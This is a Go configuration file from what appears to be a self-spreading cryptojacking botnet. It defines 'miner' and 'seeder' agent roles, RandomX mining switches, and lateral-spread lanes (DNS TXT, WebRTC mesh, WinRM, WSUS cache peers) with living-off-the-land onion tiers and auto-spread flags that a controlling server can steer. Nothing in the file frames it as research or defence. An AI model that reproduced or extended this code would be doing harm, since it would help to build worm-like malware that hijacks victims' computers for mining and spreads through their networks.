package config import "strings" const ( FleetRoleMiner = "miner" FleetRoleSeeder = "seeder" FleetRoleAuto = "auto" ) // SeederSpreadLanes are the only staging lanes seeders may run (no RandomX). var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"} // NormalizeFleetRole coerces forge/auth values to miner|seeder|auto. func NormalizeFleetRole(role string) string { switch strings.ToLower(strings.TrimSpace(role)) { case FleetRoleSeeder: return FleetRoleSeeder case FleetRoleMiner: return FleetRoleMiner default: return FleetRoleAuto } } // EffectiveFleetRole resolves baked role + optional server hint from auth. func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string { if c.SeederMode { return FleetRoleSeeder } baked := NormalizeFleetRole(c.FleetRole) if baked == FleetRoleSeeder { return FleetRoleSeeder } if baked == FleetRoleMiner { return FleetRoleMiner } hint := NormalizeFleetRole(serverHint) if hint == FleetRoleSeeder || hint == FleetRoleMiner { return hint } return FleetRoleMiner } // IsSeederRole reports whether this agent should skip mining and serve LAN staging only. func (c RuntimeConfig) IsSeederRole(serverHint string) bool { return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder } // IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes. func IsSeederSpreadLane(lane string) bool { lane = strings.ToLower(strings.TrimSpace(lane)) for _, s := range SeederSpreadLanes { if lane == s { return true } } return false } // FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list. func FilterSeederLotlTiers(tiers []string) []string { var out []string for _, t := range tiers { if IsSeederSpreadLane(t) { out = append(out, t) } } return out } // ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths. func ApplySeederForgeDefaults(b *BuiltinConfig) { if b == nil { return } b.FleetRole = FleetRoleSeeder b.SeederMode = true b.MiningDisabled = true b.MinerExecution = "inprocess" // unused — no RandomX chain starts b.GPUEnabled = false b.DnsTxtSpread = true b.WebRTCMeshSpread = true b.WinRMSpread = false b.WSUSCachePeerSpread = false b.AutoSpread = true b.LotlOnionEnabled = true b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...) }